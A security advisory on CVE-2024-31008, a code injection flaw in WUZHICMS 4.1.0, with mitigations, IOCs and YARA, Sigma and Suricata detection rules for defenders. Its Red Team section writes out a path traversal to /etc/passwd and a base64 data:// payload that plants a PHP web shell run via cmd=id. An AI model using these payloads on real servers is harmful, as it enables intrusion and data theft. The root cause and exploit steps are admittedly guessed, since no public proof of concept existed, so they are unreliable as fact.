CVE-2024-31008

Executive Summary

CVE-2024-31008 is a critical vulnerability discovered in WUZHICMS version 4.1.0, a content management system. The flaw allows an unauthenticated attacker to execute arbitrary code and obtain sensitive information via the index.php file. This vulnerability stems from improper input validation and insufficient sanitization of user-supplied data, leading to code injection. The CVSS score is currently unassigned (0.0), but based on the impact, it is likely critical. No public proof-of-concept (PoC) or exploit code has been released, and no official patch is available from the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the potential for full system compromise.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct issue within the WUZHICMS application itself. No supply chain component is involved.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0 (UNKNOWN). Based on the description, a reasonable estimate would be:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Unchanged (U) – vulnerability affects only the vulnerable component.
• Confidentiality (C): High (H) – sensitive information disclosure.
• Integrity (I): High (H) – arbitrary code execution.
• Availability (A): High (H) – potential for denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (Critical, 9.8)

Threat Level: Critical. The vulnerability allows remote, unauthenticated code execution, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability resides in the index.php file of WUZHICMS 4.1.0. The application fails to properly validate and sanitize user input passed through HTTP requests. An attacker can inject malicious code (e.g., PHP code) into parameters that are later executed by the server. This is a classic code injection vulnerability (CWE-94).

Root Cause: The index.php file likely uses include() or require() with user-controlled input without proper filtering. For example, a parameter like ?m=module&c=controller&a=action might be used to load files dynamically. If the m, c, or a parameters are not sanitized, an attacker can inject path traversal sequences or PHP code.

Attack Vector:

1. Attacker sends a crafted HTTP request to the vulnerable index.php endpoint.
2. The request includes malicious payload in parameters (e.g., ?m=../../../../etc/passwd%00 or ?m=php://input).
3. The server processes the input and executes the injected code.
4. Attacker gains remote code execution (RCE) and can exfiltrate sensitive data.

Impact:

• Full system compromise.
• Data theft (database credentials, user data, configuration files).
• Lateral movement within the network.
• Potential for persistent backdoor installation.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the entire index.php file in WUZHICMS 4.1.0. A patched version would need to implement strict input validation and sanitization.

Vulnerable Code (Conceptual):

<?php
$module = $_GET['m'];
$controller = $_GET['c'];
$action = $_GET['a'];
include("modules/" . $module . "/" . $controller . "/" . $action . ".php");
?>

Patched Code (Conceptual):

<?php
$allowed_modules = ['user', 'admin', 'content'];
$module = $_GET['m'];
if (!in_array($module, $allowed_modules)) {
    die('Invalid module');
}
$controller = basename($_GET['c']);
$action = basename($_GET['a']);
$file = "modules/" . $module . "/" . $controller . "/" . $action . ".php";
if (file_exists($file)) {
    include($file);
} else {
    die('File not found');
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• WUZHICMS 4.1.0 installed on a target server.
• Network access to the web application.

Exploitation Steps:

1. Reconnaissance: Identify the vulnerable endpoint (e.g., http://target/index.php).
2. Craft Payload: Use a parameter to inject PHP code. Example:

   http://target/index.php?m=php://filter/convert.base64-encode/resource=index
   

   Or for RCE:

   http://target/index.php?m=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B
   

   (Decodes to <?php system($_GET['cmd']); ?>)
3. Execute Commands: Append &cmd=id to the URL to execute system commands.
4. Exfiltrate Data: Use commands to read sensitive files (e.g., cat /etc/passwd).

Example Request:

GET /index.php?m=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8%2B&cmd=id HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual parameters in requests to index.php.
• Look for base64-encoded strings, php:// wrappers, or data:// URIs in GET/POST parameters.
• Alert on requests containing system, exec, passthru, or shell_exec in query strings.

Mitigation:

• Implement a Web Application Firewall (WAF) to block malicious payloads.
• Disable dangerous PHP functions (system, exec, passthru) in php.ini.
• Apply input validation and whitelist allowed modules/controllers/actions.
• If possible, upgrade to a patched version or apply vendor-supplied fixes.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to index.php with parameters containing php://, data://, or base64-encoded strings.
• Unusual User-Agent strings or repeated requests from the same IP.
• Outbound connections to unknown IPs after exploitation.

File System IOCs:

• Unexpected files in the web root (e.g., shell.php, backdoor.php).
• Modified index.php or other core files.
• Presence of web shells in /tmp/ or /var/www/html/.

Log IOCs:

• Apache/Nginx access logs showing requests with cmd= or exec= parameters.
• PHP error logs indicating failed include() calls or syntax errors.

Detection Engineering

YARA Rule

rule CVE_2024_31008_WUZHICMS_RCE {
    meta:
        description = "Detects exploitation attempts for CVE-2024-31008 in WUZHICMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-31008"
    strings:
        $php_wrapper = /(php:\/\/|data:\/\/|expect:\/\/)/ nocase
        $base64_payload = /[A-Za-z0-9+\/]{20,}={0,2}/ 
        $cmd_param = /[?&]cmd=/ nocase
        $system_func = /system|exec|passthru|shell_exec/i
    condition:
        any of ($php_wrapper) and any of ($cmd_param) or
        any of ($base64_payload) and any of ($system_func)
}

Sigma Rule

title: CVE-2024-31008 WUZHICMS RCE Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests targeting WUZHICMS index.php with potential RCE payloads
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-31008
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'php://'
            - 'data://'
            - 'expect://'
            - 'cmd='
            - 'exec='
    condition: selection
falsepositives:
    - Legitimate use of PHP wrappers (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-31008 WUZHICMS RCE Attempt"; flow:to_server,established; content:"index.php"; http_uri; content:"php://"; http_uri; nocase; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-31008 WUZHICMS RCE via data://"; flow:to_server,established; content:"index.php"; http_uri; content:"data://"; http_uri; nocase; sid:1000002; rev:1;)
alert http any any -> any any (msg:"CVE-2024-31008 WUZHICMS RCE with cmd parameter"; flow:to_server,established; content:"index.php"; http_uri; content:"cmd="; http_uri; nocase; sid:1000003; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network if possible.
2. Apply virtual patching via WAF rules to block known attack patterns.
3. Disable dangerous PHP functions in php.ini:

   disable_functions = system, exec, passthru, shell_exec, popen, proc_open
   

4. Restrict file permissions on the web root to prevent unauthorized modifications.

Long-term Fix:

• Since no official patch exists, consider migrating to a different CMS or implementing custom code fixes:
  • Whitelist allowed modules, controllers, and actions.
  • Use basename() and realpath() to prevent path traversal.
  • Avoid using user input in include() or require() statements.
• Monitor vendor channels for any future updates.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Enable detailed logging on web servers and review logs regularly.

Valters IT